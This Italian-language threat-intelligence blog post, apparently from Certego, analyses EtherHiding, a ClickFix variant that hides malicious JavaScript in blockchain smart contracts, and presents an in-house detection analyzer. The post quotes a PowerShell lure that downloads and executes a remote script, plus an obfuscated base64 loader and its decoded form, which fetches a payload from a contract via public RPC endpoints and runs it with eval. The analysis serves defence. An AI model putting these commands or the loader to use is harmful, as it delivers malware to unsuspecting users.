Cos'è EtherHiding
Negli ultimi mesi si è affermata e diffusa EtherHiding, una variante di ClickFix (l'attacco dei falsi CAPTCHA, che avevamo già analizzato in questo articolo a dicembre 2025). Il nome richiama la tecnica su cui si basa: nascondere il codice malevolo all'interno di smart contract su blockchain pubbliche, fuori dalla portata delle tradizionali attività di takedown.
Come ClickFix, anche EtherHiding parte dalla visita a un sito web e punta a convincere l'utente a eseguire manualmente un comando malevolo sul proprio dispositivo.
La differenza tra i due attacchi sta nel modo in cui il codice malevolo viene diffuso e utilizzato. Nei casi di ClickFix più semplici, il comando è presente in chiaro nella pagina HTML e viene copiato negli appunti (clipboard) dell'utente.
Ecco un esempio di comando in chiaro individuato su un dominio compromesso da ClickFix:
powershell -ExecutionPolicy Bypass -Command "irm
https://faceit-cdn.org/install.ps1 | iex"Il comando scarica ed esegue in memoria uno script ospitato su un dominio remoto: essendo interamente visibile nel sorgente, questo tipo di esca è però relativamente semplice da individuare e da bloccare.
Con EtherHiding, invece, il comando non compare nel codice sorgente della pagina, ma viene recuperato dinamicamente dalla blockchain. In pratica, quando l'utente visita il sito, uno script invia una richiesta a un endpoint RPC (Remote Procedure Call), l'interfaccia che permette di interrogare i nodi di una blockchain, e riceve in risposta un payload contenente il comando malevolo. Per ostacolare l'analisi, questa richiesta è spesso fortemente offuscata nel sorgente della pagina:
var s=document.createElement("script");s.src="data:text/javascript;base64,CmFzeW5jIGZ1bmN0aW9uIGxvYWRfKGFkZHJlc3MpIHsKICAgIGxldCB1aW50OEFycmF5VG9IZXhTdHJpbmcgPSAodWludDhBcnJheSkgPT4gewogICAgICAgIGxldCBoZXhTdHJpbmcgPSAnMHgnOwogICAgICAgIGZvciAoY29uc3QgZSBvZiB1aW50OEFycmF5KSB7CiAgICAgICAgICAgIGNvbnN0IGhleCA9IGUudG9TdHJpbmcoMTYpOwogICAgICAgICAgICBoZXhTdHJpbmcgKz0gaGV4Lmxlbmd0aCA9PT0gMSA/IGAwJHtoZXh9YCA6IGhleDsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGhleFN0cmluZzsKICAgIH07CgogICAgY29uc3QgX2RhdGEgPSB7CiAgICAgICAgIm1ldGhvZCI6ICJldGhfY2FsbCIsCiAgICAgICAgInBhcmFtcyI6IFt7InRvIjogY...Una volta decodificato, il contenuto rivela lo script che interroga la blockchain:
async function load_(address) {
...
const _data = {
"method": "eth_call",
"params": [{"to": address, "data": "0x6d4ce63c"}, "latest"],
"id": 97,
"jsonrpc": "2.0"
};
const _config = {
method: 'POST',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify(_data)
};
const _rpcUrls = [
"https://data-seed-prebsc-1-s1.bnbchain.org:8545/",
"https://data-seed-prebsc-2-s1.binance.org:8545/",
"https://data-seed-prebsc-2-s2.binance.org:8545/",
"https://bsc-testnet-dataseed.bnbchain.org/",
"https://bnb-testnet.api.onfinality.io/public",
"https://bsc-testnet.drpc.org/",
"https://data-seed-prebsc-1-s1.binance.org:8545/",
"https://bsc-testnet-rpc.publicnode.com/"
];
for (const url of _rpcUrls) {
try {
const response = await fetch(url, _config);
const json = await response.json();
if (!json.result || json.result === '0x' || json.result.length <= 2) {
continue;
}
const answer = json.result.slice(2);
const unhexed = new Uint8Array(answer.match(/[\da-f]{2}/gi).map(function (h) {
return parseInt(h, 16);
}));
const offset = Number(uint8ArrayToHexString(unhexed.slice(0, 32)));
const len = Number(uint8ArrayToHexString(unhexed.slice(32, 32 + offset)));
const result = String.fromCharCode.apply(null, unhexed.slice(32 + offset, 32 + offset + len));
return result;
} catch (e) {}
}
throw new Error('rpc exhausted');
}
load_("0xE75744C53eC0914fE9bE92847019D3d7122B6b77")
.then(function(_p){
let url,_data,response,answer,unhexed,offset,len,result,value,_config,address,start,uuid_hexed,result_len,encoder,setCookie,getCookie,generateUUID,generateUUIDv4,generateId,getUserID,isGoalReached;
eval(atob(_p));
})
.catch(() => {});
Da questo script emergono i due elementi chiave della tecnica: l'indirizzo dello smart 0xE75744C53eC0914fE9bE92847019D3d7122B6b77, che custodisce il codice JavaScript malevolo, e la struttura della richiesta da inviare alla blockchain, definita nelle variabili _data e _config e recapitata tramite uno degli endpoint elencati in _rpcUrls. La risposta arriva in formato esadecimale e, una volta decodificata, restituisce il vero comando malevolo in chiaro.
Un dominio di secondo stadio che cambia di continuo
Con EtherHiding il dominio di secondo stadio, cioè il dominio contenuto nel comando restituito dalla blockchain, è dinamico: può cambiare a ogni richiesta, e questo ne rende molto più complesse l'identificazione e la valutazione. Il motivo è nel modello stesso della tecnica: leggere i dati da uno smart contract non richiede transazioni e non ha costi, mentre l'attaccante può aggiornarne il contenuto in qualsiasi momento con una transazione dal costo molto contenuto. In alcune varianti lo script restituisce addirittura un dominio diverso a seconda del sistema operativo della vittima, dell'orario o di un identificativo di sessione.
La risposta di Certego: un analyzer sviluppato in casa
Vista la frequenza e la diffusione degli attacchi ClickFix ed EtherHiding, il team di Cyber Threat Intelligence (CTI) di Certego ha sviluppato un analyzer che, a partire da un dominio, verifica se questo espone una tecnica ClickFix e, in caso affermativo, estrae il dominio malevolo di secondo stadio contenuto nel comando che l'utente potrebbe aver eseguito.
Lo strumento si basa su ClickGrab, un progetto open source dedicato all'estrazione di indicatori di compromissione (IoC) specifici di ClickFix. ClickGrab offriva già numerosi estrattori utili, ma abbiamo scelto di estenderlo con nuove tecniche, in grado di individuare anche i casi ClickFix più complessi, e con estrattori dedicati alla variante EtherHiding.
L'analyzer nasce dentro IntelOwl, la piattaforma di Threat Intelligence di Certego, nativamente integrata nell'architettura SecOps attraverso cui eroghiamo i nostri servizi MDR.
Come funziona l'analyzer
Quando un dominio appare sospetto, l'analyzer permette di approfondirne la natura restituendo:
- il dominio di secondo stadio, estratto dal comando malevolo individuato (se presente);
- l'output di ClickGrab, con i blocchi di codice identificati come sospetti o potenzialmente malevoli;
- l'analisi di Gemini (opzionale): i risultati degli estrattori di ClickGrab possono essere sottoposti a Gemini, il modello di intelligenza artificiale di Google, che li esamina più a fondo e genera una descrizione dettagliata dell'eventuale payload estratto.
Come viene usato dagli analisti Certego
Grazie all'integrazione in IntelOwl, gli analisti Certego trovano l'analyzer direttamente nell'ambiente in cui conducono le proprie indagini. Quando individuano un IoC sospetto, possono avviarne la scansione dalla piattaforma, esaminare i risultati e trarre rapidamente conclusioni sull'indicatore analizzato.
Conclusioni
EtherHiding dimostra quanto velocemente gli attaccanti sappiano reinventare tecniche già note: spostando il payload su un'infrastruttura decentralizzata, rendono meno efficaci sia l'analisi statica delle pagine sia il takedown dei domini malevoli. Per contrastare minacce di questo tipo servono strumenti che evolvano alla stessa velocità.
Il nuovo analyzer va proprio in questa direzione: con una singola scansione, consente ai nostri analisti di riconoscere le pagine ClickFix ed EtherHiding e di estrarre il dominio di secondo stadio, anche quando viene servito dinamicamente dalla blockchain, trasformando un attacco progettato per sfuggire all'analisi in indicatori concreti e utilizzabili.
Continueremo a monitorare l'evoluzione di queste campagne e ad aggiornare i nostri strumenti di conseguenza, condividendo con la community i miglioramenti sviluppati
Vuoi saperne di più sui servizi di Threat Intelligence e Security Operations di Certego? Contattaci
